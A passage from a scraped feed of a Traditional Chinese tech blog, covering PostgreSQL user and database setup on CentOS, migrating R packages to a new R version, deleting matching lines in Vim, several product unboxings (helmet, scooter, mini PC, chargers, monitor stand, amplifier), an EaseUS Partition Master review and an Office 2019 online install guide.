這樣就可以讓外部的使用者存取 PostgreSQL 資料庫了。\n管理 PostgreSQL 資料庫 在安裝 PostgreSQL 資料庫時，預設會建立一個專門用於管理資料庫用的 postgres Linux 系統使用者帳號與 PostgreSQL 使用者帳號，在管理 PostgreSQL 資料庫時就要使用這個帳號來進行。\n# 切換成 postgres 使用者 sudo -i -u postgres # 進入 PostgreSQL 指令介面 psql 在進入 PostgreSQL 指令介面之後，就可以進行各項 PostgreSQL 的管理，關於 psql 的操作方式，可參考官方的手冊。\n若要以一般使用者的權限來使用 PostgreSQL 資料庫，要先建立帳號以及對應的資料庫，然後再以對應的帳號執行 psql，即可進入 PostgreSQL 資料庫：\n# 新增 PostgreSQL 使用者 sudo -u postgres createuser gtwang # 新增 PostgreSQL 資料庫 sudo -u postgres createdb gtwang # 進入 PostgreSQL 資料庫 psql 關於更詳細的 PostgreSQL 操作，可以參考另外一篇 Ubuntu Linux 18.04 安裝與使用 PostgreSQL 資料庫教學，或是官方的文件。\n參考資料 Linode JOVE PATER LAB ","permalink":"https://blog.gtwang.org/linux/centos-linux-install-postgresql-database-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 CentOS Linux 中安裝 PostgreSQL 資料庫伺服器。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"安裝-postgresql-資料庫\"\u003e安裝 PostgreSQL 資料庫\u003c/h2\u003e\n\u003cp\u003e在 CentOS 中若要安裝 PostgreSQL，可以從 CentOS 官方套件庫來安裝（建議選項），若是有特殊需要，一定要安裝較新的版本，則可由 PostgreSQL 所提供的套件庫來安裝。\u003c/p\u003e","title":"CentOS Linux 安裝 PostgreSQL 資料庫教學"},{"content":"本篇介紹如何在安裝新版本的 R 之後，自動在新版 R 中把舊版 R 中有安裝的套件一起裝起來。\nR 的版本更新非常快，而在安裝新版本的 R 之後，許多套件都要重新安裝，如果少裝了某些套件，舊的程式就會無法執行，但是套件數量很多的時候，手動安裝會很麻煩，這時候只要利用簡單的 R 指令稿，即可自動處理所有套件安裝的問題。\nCRAN 套件 大部分的 R 套件都是透過官方 CRAN 套件庫安裝的，只要用簡單的內建指令即可處理。\n匯出舊套件名稱 首先在舊版的 R 環境中，匯出所有套件名稱，將其儲存在一個暫存檔案中：\n# 設定 R 套件名稱列表暫存檔案 pkgs.file = \u0026#34;~/installed_packages.RData\u0026#34; # 列出所有舊套件（排除內建套件） pkgs.df \u0026lt;- installed.packages(priority = \u0026#34;NA\u0026#34;) pkgs.vec \u0026lt;- as.vector(pkgs.df[,1]) # 將套件名稱儲存在暫存檔案中 save(pkgs.vec, file = pkgs.file) 自動安裝套件 接著在新版的 R 環境中，載入這些套件名稱，自動安裝所有套件：\n# 設定 R 套件名稱列表暫存檔案 pkgs.file \u0026lt;- \u0026#34;~/installed_packages.RData\u0026#34; # 載入套件名稱列表 load(pkgs.file) # 安裝所有套件 install.packages(pkgs.vec) 這樣就完成套件的自動安裝了。\n如果在安裝完成時，出現類似這種找不到套件的警告訊息，就表示這些套件不在 CRAN 之內，這時候就要另外查詢這些套件是從哪裡來的，另外以手動處理。\nWarning message: packages ‘AnnotationDbi’, ‘Biobase’, ‘BiocGenerics’, ‘BiocInstaller’, ‘IRanges’, ‘S4Vectors’ are not available (for R version 3.6.1) Bioconductor 套件 許多 CRAN 中沒有收錄的 R 套件都是從 Bioconductor 來的（尤其是生物相關的），對於 Bioconductor 的套件來說，安裝方式就會跟 CRAN 的套件不同。\n若要安裝 Bioconductor 的套件，就要手動將套件的名稱整理好，再按照以下的指令安裝。\n# Bioconductor 套件列表 bio.pkg \u0026lt;- c(\u0026#34;AnnotationDbi\u0026#34;, \u0026#34;Biobase\u0026#34;, \u0026#34;BiocGenerics\u0026#34;, \u0026#34;BiocInstaller\u0026#34;, \u0026#34;IRanges\u0026#34;, \u0026#34;S4Vectors\u0026#34;) # 安裝與載入 BiocManager 套件 if (!requireNamespace(\u0026#34;BiocManager\u0026#34;, quietly = TRUE)) install.packages(\u0026#34;BiocManager\u0026#34;) # 安裝 Bioconductor 套件 BiocManager::install(bio.pkg) ","permalink":"https://blog.gtwang.org/r/transferring-installed-packages-between-different-installations-of-r/","summary":"\u003cp\u003e本篇介紹如何在安裝新版本的 R 之後，自動在新版 R 中把舊版 R 中有安裝的套件一起裝起來。\u003c/p\u003e\n\u003cp\u003eR 的版本更新非常快，而在安裝新版本的 R 之後，許多套件都要重新安裝，如果少裝了某些套件，舊的程式就會無法執行，但是套件數量很多的時候，手動安裝會很麻煩，這時候只要利用簡單的 R 指令稿，即可自動處理所有套件安裝的問題。\u003c/p\u003e","title":"R 升級版本，自動安裝舊版 R 所有套件教學"},{"content":"本篇介紹如何在 Vim 中快速搜尋關鍵字，並刪除符合條件的列。\n在 Vim 中我們可以使用 / 進行關鍵字搜尋，假設我們想要在檔案中搜尋「中油」兩個字，則可輸入：\n/中油 即可得到搜尋結果。\n如果我們除了要找出關鍵字所在的位置之外，還想把這些含有關鍵字的列都一並刪除，則可改用這樣的指令：\n:g/中油/d 執行之後，Vim 就會自動將所有含有「中油」兩個字的列都刪除。\n參考資料 Vim Tips Wiki ","permalink":"https://blog.gtwang.org/linux/vim-delete-all-lines-containing-a-pattern-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Vim 中快速搜尋關鍵字，並刪除符合條件的列。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e在 Vim 中我們可以使用 \u003ccode\u003e/\u003c/code\u003e 進行關鍵字搜尋，假設我們想要在檔案中搜尋「中油」兩個字，則可輸入：\u003c/p\u003e","title":"Vim 搜尋關鍵字、刪除符合條件的列"},{"content":"本篇是 THH T-797A+ 駭客全罩可掀式雙鏡片安全帽簡單開箱文。\n上週買了一台新的光陽機車之後，想順便添購一頂全罩的安全帽，因為常常要用，所以打算一頂好一點的，在網路上查了一下，好一點的全罩安全帽都要兩三千元，後來在蝦皮拍賣網站上看到 THH 的 T-797A+ 這一頂竟然只要 1580 元，就直接買了。\n賣家出貨速度很快，隔兩天我就收到貨了。\n安全帽有分大小，購買前要先量一下頭圍。我買的大小是 XL，顏色是駭客平光黑/黃。\n打開箱子，安全帽有用布套包起來。\n這一個布套品質還不錯。\n這就是 THH T-797A+ 駭客可掀式全罩雙鏡片安全帽。\n這是鏡片上的 CNS 認證標示。\n這一款安全帽的重量是 1.74 公斤，戴習慣半罩的安全帽，突然戴這一頂感覺好重，不過為了安全，還是乖乖戴好了。\n這一款安全帽同時通過台灣 CNS 認證與美國 DOT 認證。\n安全帽上方也有可開關的透氣孔。\n這是安全帽的說明書。\n這一款安全帽有兩層鏡片，裡面的那一層是深色的墨鏡，太陽光比較強的時候很好用。\n平常沒太陽的時候，可以把裡面的那一片墨鏡收進去（開關位於安全帽側邊）。\nTHH T-797A+ 安全帽還可以把前半部指個往上掀起來，變成有點像半罩的樣子。\n下巴的位置有一個紅色的開關，壓下去之後才能往上掀。\n這是普通的金屬插扣。\n這是安全帽的內襯。\n內襯的品質還不錯。\n下巴的位置有一條下巴網，可以擋風沙。\n如果夏天太熱的時候，可以把下巴網拆掉，這樣比較通風。\n這是拆下來的下巴網。\n其餘的內襯也都可以插下來洗。\n夏天可以把下巴網與前方的擋風罩拆掉。\n前方有可開關的透氣孔。\n這是上方的透氣孔開關。\n這是撕掉鏡片保護膜的樣子。\n這一款安全帽體積滿大的，我的光陽 GP 125 機車的置物箱完全放不進去，只能掛在外頭。\n","permalink":"https://blog.gtwang.org/unboxing/thh-t-797a-plus-helmet-20190721/","summary":"\u003cp\u003e本篇是 THH T-797A+ 駭客全罩可掀式雙鏡片安全帽簡單開箱文。\u003c/p\u003e\n\u003cp\u003e上週買了一台新的\u003ca href=\"/unboxing/kymco-gp-125-drum-brake-motor-2019/\"\u003e光陽機車\u003c/a\u003e之後，想順便添購一頂全罩的安全帽，因為常常要用，所以打算一頂好一點的，在網路上查了一下，好一點的全罩安全帽都要兩三千元，後來在蝦皮拍賣網站上看到 THH 的 T-797A+ 這一頂竟然只要 1580 元，就直接買了。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e賣家出貨速度很快，隔兩天我就收到貨了。\u003c/p\u003e","title":"[開箱] THH T-797A+ 駭客可掀式全罩雙鏡片安全帽"},{"content":"EaseUS Partition Master 是一套多功能的磁碟分割區管理工具，含有各種磁碟維護功能，可讓管理者輕鬆管理複雜的磁碟組態。\nEaseUS Partition Master 是一套專業的磁碟分割區管理軟體，它比 Windows 內建的磁碟分割工具多了一些進階的功能，除了可以針對系統的磁碟分割區進行調整，操作介面也更人性化。\n最近 EaseUS Partition Master Pro 版五折大特價，若有需要的人可以趁機買下來。\n更改分割區大小 若要更改磁碟分割區大小，可在主畫面中選擇要調整大小的磁碟分割區，然後點選右方的「調整大小/移動」。\n在「調整大小/移動」功能中，使用者可以使用滑鼠拖曳的方式，調整分割區的大小與位置，操作介面很直覺。\n對於進階的使用者，也可以由進階選項直接輸入空間的大小。\n在設定完成後，操作並不會馬上被執行，而是放在待執行操作的佇列中，使用者可以將多個操作設定好，最後再按下執行操作，這樣可以節省中間的等待時間。\n某些操作由於牽涉到系統的分割區，所以會需要重新啟動（左下方會出現標示），按下「應用」之後，就會重新啟動，並進行調整分割區大小的操作。\n在重新開機的過程中，EaseUS Partition Master 會全自動處理所有的磁碟變更動作，使用者不需要花力氣去管這部分。\n等所有的操作執行完成後，會再次重新開機進入 Windows，這時候再打開 EaseUS Partition Master 軟體，即可看到變更完成的磁碟配置了。\n以上是測試變更系統 C 槽的情況，這種狀況若使用 Windows 內建的磁碟分割軟體是沒有辦法直接處理的，而 EaseUS Partition Master 處理起來卻方便。\n建立分割區 建立磁碟分割區是比較普通的磁碟分割區操作，大部分的磁碟管理軟體也都有支援。\n由於新建磁碟分割區並不會牽涉到系統磁碟分割區，所以不需要重新開機，直接執行操作之後，就完成了。\n合併分割區 合併分割區是一個很好用的功能，當磁碟空間不夠時，如果鄰近的分割區還有空間的話，就可以考慮將分割區合併，讓磁碟空間有更好地利用。\n當牽涉到系統分割區的時候，會重新開機並自動執行分割區的合併。\n完成合併的操作之後，回到 Windows 系統即可看到合併的結果。\n這種合併分割區的功能在 C 槽空間不夠時非常好用，一般的 PC 都會將磁碟分割成 C 槽與 D 槽（或是更多），C 槽作為系統使用，資料則存放在 D 槽，而當電腦使用一段時間之後，如果 C 槽空間不足，而 D 槽還有空間的話，就可以將 C 槽與 D 槽合併，就可以馬上解決系統空間不足的問題，而且可以保留 D 槽的資料。\n檢查分割區 檢查分割區功能可以檢查檔案系統是否有錯誤，並嘗試修正找到的錯誤。\n如果要檢查系統分割區，則會自動排定在下次重新啟動時進行檢查。\n重新開機執行磁碟檢查的動作也是自動的。\n表面檢測 表面檢測功能就是檢查磁碟有沒有壞軌，並嘗試修復找到的壞軌。\n建立救援 USB 隨身碟 如磁碟或系統損壞很嚴重，導致無法開機的時候，就可以使用救援 USB 隨身碟來處理磁碟管理以及資料備份的工作。\nEaseUS Partition Master 的創建開機磁碟功能，可以讓使用者使用製作 USB 救援隨身碟（或救援光碟），用它開機之後，就可以使用 EaseUS Partition Master 來管理磁碟，非常方便。\n使用救援 USB 隨身碟開機之後，就會進入 EaseUS Partition Master WinPE 版的介面，這個操作介面跟正常版的 EaseUS Partition Master 幾乎完全一樣，也是用滑鼠就可以進行所有的操作，對於非專業人員來說也可以自己進行磁碟救援工作。\n救回遺失的分割區 如果磁碟分割區因為某些因素不見了（磁碟損壞、誤刪等），在剛發現問題時，可以使用 EaseUS Partition Master 救回遺失的分割區。\n若要救回磁碟分割區，首先要先確定該分割區所屬的硬碟是哪一顆，接著對該硬碟進行完整的掃描。\n等待掃描完成後，就會列出發現的所有分割區，使用者只要勾選想要救回的分割區，即可將分割區救回來了。\n遺失的分割區是否可以成功被救回取決於磁碟的狀況，有時候是要靠一點運氣的，如果是誤刪分割區，馬上進行救援的話，通常都可以救回，但如果是硬碟本身壞掉，就不一定了。\n複製磁碟 複製磁碟可以用來備份整顆硬碟的系統與資料，或是針對單一分割區進行複製。使用時先準備一顆有空間的硬碟，然後選擇資料來源磁碟（或分割區）。\n接著選擇複製目標磁碟（或分割區）。\n確認磁碟複製後的分割區組態後，就可以進行複製了。\n清理與最佳化 清理與最佳化的功能中，可以清理磁碟中的垃圾檔案、大型檔案，以及磁碟重組。\n清理垃圾檔案時，會自動掃瞄系統中各種可以刪除的暫存檔案，一鍵清理這些垃圾檔案。\n清理大型檔案則是找出硬碟中最大的一些檔案，提供使用者篩選後刪除，這個功能可以方便找出很久沒在用的檔案，刪除這些大檔案可以有效釋放磁碟空間。\n磁碟優化就是磁碟重組，可讓傳統硬碟的效能獲得改善。\n遷移作業系統 遷移作業系統可以將原本位於 C 槽的作業系統，搬移到其他分割區，當舊硬碟空間不足時，就可以用這個功能把系統搬到新硬碟中繼續使用，不用重灌系統。使用時首先選擇一顆有空間的硬碟作為目標磁碟。\n接著確認複製後的磁碟配置。\n等待重新開機執行操作後，就可以完成作業系統的搬移了。\n結論 整理而言，EaseUS Partition Master 的操作介面很不錯，功能也算完整，對於 Windows 系統的支援性也不錯，對於沒有系統管理經驗的人來說，也可以很快上手，使用滑鼠即可完成所有的磁碟管理工作，是一套很方便的磁碟管理工具，有需要的人可以從 EaseUS Partition Master 的官方網站上下載免費試用版。\n","permalink":"https://blog.gtwang.org/useful-tools/easeus-partition-master-review-201907/","summary":"\u003cp\u003eEaseUS Partition Master 是一套多功能的磁碟分割區管理工具，含有各種磁碟維護功能，可讓管理者輕鬆管理複雜的磁碟組態。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.easeus.com/partition-manager/epm-free.html\"\u003eEaseUS Partition Master\u003c/a\u003e 是一套專業的磁碟分割區管理軟體，它比 Windows 內建的磁碟分割工具多了一些進階的功能，除了可以針對系統的磁碟分割區進行調整，操作介面也更人性化。\u003c/p\u003e","title":"EaseUS Partition Master 磁碟分割區管理軟體"},{"content":"本篇是我購買光陽 KYMCO GP 125 鼓剎機車的過程紀錄。\n最近打算買一台新機車，於是在網路上看了一下，發現光陽 KYMCO GP 125 這一款非常便宜，鼓剎版價格大約在五萬上下，去年底賣的非常好，於是就到家附近的一家機車行下訂了一台藍色的鼓剎版。\n買新機車通常可以選原廠新車或是領牌車。領牌車就是業務預先把車子買下來掛牌照（為了要衝業績等因素），然後再轉賣給客戶，領牌車的價格會便宜一些，車子一樣都是新車，只是提早掛牌而已。\n我是感覺早掛牌與晚掛牌沒差別，所以就選了藍色鼓剎的領牌車，老闆跟車廠聯絡之後，開了五組車牌號碼給我選，選定之後過兩天就可以交車了。\n交車的日子我也順便上網查了一下，現在網路上都有已經整理好適合交車的好日子，看好日子之後，就按照時間去車行牽車。\n交車時會拿到的重要文件資料應該有：\n行照。 機車新領牌照登記書。 機車出廠與貨物稅完稅照證。 保險卡（現在好像改成一張紙了）。 而要注意的事項大約有以下幾項：\n引擎號碼是否正確（包括引擎、車殼、行照）。 行照的車主是否為自己的名字。 行照的車牌號碼是否正確。 核對領牌日期以及出廠日期。 車體外觀檢查，確認無受損及刮傷。 機車各功能是否可正常運作，如：方向燈、喇叭、遠近燈、煞車。 檢查是否已加保機車強制險、第三人責任險或丟車陪車險等。 把車子牽回來之後，第一件事就是先去加油，這台光陽 KYMCO GP 125 依照說明書的描述是加 92 以上的無鉛汽油，老闆說 92 與 95 的差別除了油價之外，就是加 95 會感覺比較有力，我想機車的油錢也差不了幾塊錢，所以就直接加 95 了。\n現在的新車由於法規的限制，大燈是不能關的，沒有大燈開關，車子發動大燈就會亮，所以就算白天騎車，大燈也是開的。\n這台機車一公升汽油可以跑將近 50 公里，跟汽車比起來的話油錢省很多。\n買車時一定要檢查引擎號碼，機車的引擎號碼就在後輪的左側。\n這裡刻的號碼就是機車引擎號碼，交車時要檢查這個號碼有沒有跟行照上面的一樣。\n通常車身也會有引擎號碼的烙印，這個也要檢查一下是否正確。\n這是機車的腳踏墊，這張原廠的腳踏墊非常輕，感覺很容易被吹走的樣子，老闆說可以用螺絲鎖死在上面，不過我想如果鎖死了，要清洗就很麻煩，所以暫時先這樣用，以後有問題再說。\n這是機車的說明書。\n這是隨車贈送的機車大鎖，品質很普通，堪用而已。\n這是隨車贈送的半罩安全帽。\n這是機車行老闆另外送我的安全帽擋風鏡。\n最近光陽有贈送 2000 元購車金的活動，買車就送 2000 元的全聯禮卷，這項贈品是最實用的。\n每一張禮卷面額是 500 元，總共有四張。\n在保險部分，除了基本的強制險之外，光陽還有送一年的丟車陪車險，所以一年內不必擔心車被偷。\n新車在騎的時候不要急加油，時速不要超過 60 公里，里程數達到 300 至 500 公里時換一次機油與齒輪油，然後 1000 公里時再換一次，之後就按照正常的方式，每 1000 公里換一次機油，齒輪油則是每 2000 公里換一次。\n","permalink":"https://blog.gtwang.org/unboxing/kymco-gp-125-drum-brake-motor-2019/","summary":"\u003cp\u003e本篇是我購買光陽 KYMCO GP 125 鼓剎機車的過程紀錄。\u003c/p\u003e\n\u003cp\u003e最近打算買一台新機車，於是在網路上看了一下，發現光陽 KYMCO GP 125 這一款非常便宜，鼓剎版價格大約在五萬上下，去年底賣的非常好，於是就到家附近的一家機車行下訂了一台藍色的鼓剎版。\u003c/p\u003e","title":"[開箱] 光陽 KYMCO GP 125 鼓剎機車"},{"content":"本篇是技嘉 BRIX GB-BLCE-4105C 迷你準系統電腦的簡單開箱文。\n這一款技嘉的 BRIX GB-BLCE-4105C 迷你準系統電腦，在 PChome 24h 購物的售價是 4790 元，它並不是一台完整的電腦，使用時要自己插上 SO-DIMM 筆電用的記憶體與 2.5 吋的硬碟。\n這台的基本規格如下：\n內建 Intel Celeron Processor J4105 處理器（2.5GHz、四核心） 內建 1 組 SO-DIMM DDR4 插槽（2400MHz、最大支援 8GB） 可插一顆 2.5 吋 HDD/SSD（1 x 6 Gbps SATA 3） 內建 M.2 介面的 IEEE 802.11ac WIFI + Bluetooth 4.2 無線網路擴充模組 內建 D-Sub 及 HDMI 顯示介面（支援雙顯示器輸出） 四組 USB 3.0（其中一個是 USB Type-C） Gigabit 乙太網路卡 內建音效介面（耳機/麥克風） 開箱 打開外盒。\n這些就是技嘉 BRIX GB-BLCE-4105C 迷你準系統電腦，以及所有的配件，配件部分有一個電源供應器、三個插座轉接頭（國外插座用）、壁掛架、螺絲、說明書與驅動程式光碟。\n這就是技嘉 BRIX GB-BLCE-4105C 迷你準系統電腦，大小跟 Intel NUC 差不多。\n這是正面的操作面板，有電源按鈕與指示燈、兩個 USB 3.0 插座（一個 USB Type-C）、耳機插孔、麥克風插孔。\n這一側沒有什麼特別的。\n背面有一個乙太網路孔、兩個 USB 3.0 插座、一個 HDMI 輸出與一個 D-Sub 輸出，它可以同時接兩個螢幕。兩側有兩個機殼螺絲，如果要打開機殼，就把這兩個螺絲鬆開即可。\n這一側只有一個電源插孔。\n底部有一些型號的資訊。\n這是壁掛架，可以用來將主機掛在螢幕後方，節省桌面空間。\n這是電源供應器。\n安裝記憶體與硬碟 使用前要先安裝記憶體與硬碟，首先鬆開機殼螺絲。\n打開機殼。\n打開機殼後，先研究一下記憶體插槽與硬碟放置的位置與方向。\n拿出準備好的 SO-DIMM 記憶體與 2.5 吋 SSD。\n這一台技嘉 BRIX GB-BLCE-4105C 迷你準系統電腦最高只支援到 8GB、2400 MHz，所以我就直接按照他的規格來買。\n硬碟我是買一顆威剛的 2.5 吋 SATA 固態硬碟。\n首先將記憶體插入記憶體的插槽。\n一開始是斜插，插進去之後再往下壓，讓它扣上。\n確認記憶體都有扣上，這樣就完成記憶體的安裝了。\nSSD 是所在機殼上的，機殼上面剛好有四個螺絲孔。\n使用附贈的螺絲，把硬碟鎖上去。\n鎖好硬碟之後，會像這樣。\n接著小心把硬碟排線插上去，然後蓋上機殼，鎖上機殼螺絲。\n接上電源供應器，這樣就大功告成了。\n開機 這是開機的畫面，接下來就可以開始安裝作業系統了。\n","permalink":"https://blog.gtwang.org/unboxing/gigabyte-brix-barebone-gb-blce-4105c-20190712/","summary":"\u003cp\u003e本篇是技嘉 BRIX GB-BLCE-4105C 迷你準系統電腦的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e這一款技嘉的 BRIX GB-BLCE-4105C 迷你準系統電腦，在 PChome 24h 購物的售價是 4790 元，它並不是一台完整的電腦，使用時要自己插上 SO-DIMM 筆電用的記憶體與 2.5 吋的硬碟。\u003c/p\u003e","title":"[開箱] 技嘉 BRIX GB-BLCE-4105C 迷你準系統電腦"},{"content":"本篇是台達 Innergie PowerGear 60C / 60 瓦 USB-C 筆電充電器的簡單開箱文。\n這一款台達的 Innergie PowerGear 60C USB-C 筆電充電器，小巧易攜帶，瓦數有 60 瓦，可以做為筆電的充電器，比起正常的筆電充電器來說，重量輕了很多，其在 PChome 24h 購物的價格是 2490 元。\n打開外盒。\n這些是所有的配件。\n充電器插頭。\nUSB Type-C 插孔。\n這一組充電器非常輕巧，適合外出時當作 MacBook Pro 筆電的隨身充電器。\n由於這款充電器體積小，重量也很輕，搭配 MacBook Pro 很不錯。\n拿 Innergie PowerGear 60C 充電器與 MacBook Pro 官方的充電器來比較，大小與重量都差很多。\n","permalink":"https://blog.gtwang.org/unboxing/innergie-powergear-60c-60w-usb-c-laptop-adapter-2019/","summary":"\u003cp\u003e本篇是台達 Innergie PowerGear 60C / 60 瓦 USB-C 筆電充電器的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這一款台達的 Innergie PowerGear 60C USB-C 筆電充電器，小巧易攜帶，瓦數有 60 瓦，可以做為筆電的充電器，比起正常的筆電充電器來說，重量輕了很多，其在 PChome 24h 購物的價格是 2490 元。\u003c/p\u003e","title":"[開箱] 台達 Innergie PowerGear 60C / 60 瓦 USB-C 筆電充電器"},{"content":"本篇是台達 Innergie 65 瓦 USB-C 充電器的簡單開箱文。\n這一組台達 Innergie 65 瓦 USB-C 充電器，在 PChome 24h 購物的售價是 1490 元，支援 USB Type-C 充電的手機、平板與電腦。\n打開外盒。\n這些是所有的配件，包含充電器與說明說。\nType C 的充電線有 1.5 米，AC 電源線則是 1 米。\n電源接頭有防呆設計，不會有插錯的問題。\n這一組充電器很適合用來當 MacBook Pro 筆電的備用充電器。\n這一組充電器體積比較大，適合放在家裡面或是辦公室，若要放在包包帶著走的話，可以考慮另外一組 Innergie PowerGear 60C 輕型筆電充電器。\n它跟 MacBook Pro 原廠變壓器比較起來，還是有小一些。\n","permalink":"https://blog.gtwang.org/unboxing/innergie-65w-usb-c-adapter-2019/","summary":"\u003cp\u003e本篇是台達 Innergie 65 瓦 USB-C 充電器的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這一組台達 Innergie 65 瓦 USB-C 充電器，在 PChome 24h 購物的售價是 1490 元，支援 USB Type-C 充電的手機、平板與電腦。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"台達 Innergie 65 瓦 USB-C 充電器\" loading=\"lazy\" src=\"/unboxing/innergie-65w-usb-c-adapter-2019/innergie-65w-usb-c-adapter-20190711-01.jpg\"\u003e\u003c/p\u003e","title":"[開箱] 台達 Innergie 65 瓦 USB-C 充電器"},{"content":"本篇是 MONITORMATE miniS 多功能螢幕架的簡單開箱文。\n一般桌上型電腦如果沒有配專門的電腦桌，鍵盤都是擺放在桌面上的，而在沒有使用電腦時，鍵盤就顯得很佔空間，如果想要節省空間，可以考慮買一個螢幕架，將螢幕架高後，底下就可以收納鍵盤。\nMONITORMATE miniS 這一款多功能螢幕架是金屬製的，耐重而且還有 USB 3.0 Hub 功能與充電功能，在 PChome 24h 購物上面的售價是 2480 元。\n打開外盒。\n總寬度有 59 公分，下方可以收納 48 公分寬的鍵盤（或滑鼠）。\n配件有一條 USB 3.0 傳輸線，以及一個電源供應器。\n邊緣都是採用圓弧造型的設計，質感不錯。\n右方有三個 USB 3.0 Hub 與一個 USB 充電座。\n下方內側有一個連接電腦用的 USB 3.0 插座。\n下方另外一側有一個電源插座，可接附帶的電源供應器。\n這是搭配 24 吋螢幕的樣子，有了這種螢幕架之後，鍵盤就可以藏在下面，桌面立刻變乾淨許多，我感覺這真的是一項非常實用的產品。\n","permalink":"https://blog.gtwang.org/unboxing/monitormate-minis-monitor-stand/","summary":"\u003cp\u003e本篇是 MONITORMATE miniS 多功能螢幕架的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e一般桌上型電腦如果沒有配專門的電腦桌，鍵盤都是擺放在桌面上的，而在沒有使用電腦時，鍵盤就顯得很佔空間，如果想要節省空間，可以考慮買一個螢幕架，將螢幕架高後，底下就可以收納鍵盤。\u003c/p\u003e","title":"[開箱] MONITORMATE miniS 多功能螢幕架"},{"content":"本篇是 UR SOUND 無線手提式擴音機 YA6020M 的簡單開箱文。\n這一款 UR SOUND 無線手提式擴音機 YA6020M 在 PChome 24h 購物的售價是 3990 元，內建可充電的鋰電池，充滿電之後可以使用 8 小時，還有內建 USB 與 TF 音樂撥放器，適合用於上課教學或賣場等各種場合。\n打開外盒。\n這些是所有的配件，除了擴音器主體之外，還有領夾式麥克風、耳掛式麥克風、發射器（放在擴音器主體後方的置物盒內）、背帶、遙控器、麥克風套、電源供應器。\n這是擴音器主體的正面。\n正面控制面板有可以調整音調與音量的旋鈕、訊號燈、電源燈、USB 與 TF 卡插座，以及下方的音樂撥放控制按鈕與顯示器。\n這是擴音器主體的背面，上方有一枝可以拉長的天線。\n這裡有一個可以外插有線麥克風的接孔，還有音源輸入與輸出孔，以及充電燈號。\n後方的改子打開後，有一個置物盒，裡面有電源插座，以及一個無線麥克風發射器。\n這一個就是無線麥克風發射器。\n這個無線麥克風發射器通常是繫在講者腰間的，側邊可以調節音量。\n這是無線麥克風發射器的電源開關、以及麥克風插孔。\n無線麥克風發射器使用的電池是兩顆三號（AA）電池。\n這是插上麥克風之後的樣子。\n我實際測試了一下，感覺音質真的很不錯。\n","permalink":"https://blog.gtwang.org/unboxing/ur-sound-wireless-portable-amplifier-ya6020m/","summary":"\u003cp\u003e本篇是 UR SOUND 無線手提式擴音機 YA6020M 的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這一款 UR SOUND 無線手提式擴音機 YA6020M 在 PChome 24h 購物的售價是 3990 元，內建可充電的鋰電池，充滿電之後可以使用 8 小時，還有內建 USB 與 TF 音樂撥放器，適合用於上課教學或賣場等各種場合。\u003c/p\u003e","title":"[開箱] UR SOUND 無線手提式擴音機 YA6020M"},{"content":"本篇介紹如何在購買 Office 2019 之後，透過網路下載安裝檔，線上安裝 Office 軟體並啟用。\n現在購買盒裝的 Office 軟體時，都只有一張產品金鑰，沒有附安裝光碟，安裝的時候就直接從網路下載安裝檔，線上安裝。\n以下是安裝 Office 家用版 2019 的步驟。\nStep 1\n打開 Office 官方網站， 使用自己的 Microsoft 帳號登入。如果沒有帳號的話，也可以直接註冊一個。\nStep 2\n輸入自己購買的 Office 產品金鑰。\nStep 3\n確認金鑰正確性之後，按下「下一步」準備取得 Office 軟體。\nStep 4\n在「服務與訂閱」頁面，點選「安裝」的連結。\nStep 5\n點選「安裝」即可下載 Office 的安裝程式，下載之後直接執行它。\nStep 6\n等待安裝過程。\nStep 7\n如果從網路直接安裝的介面語言是簡體中文，可以在 Office 安裝完成後，從 Office 官方網站上下載「繁體中文」的語言附屬套件，下載之後也是直接執行它，安裝好語言附屬套件之後，語言就會變成正常的繁體中文了。\nStep 8\n安裝好之後，打開 Office 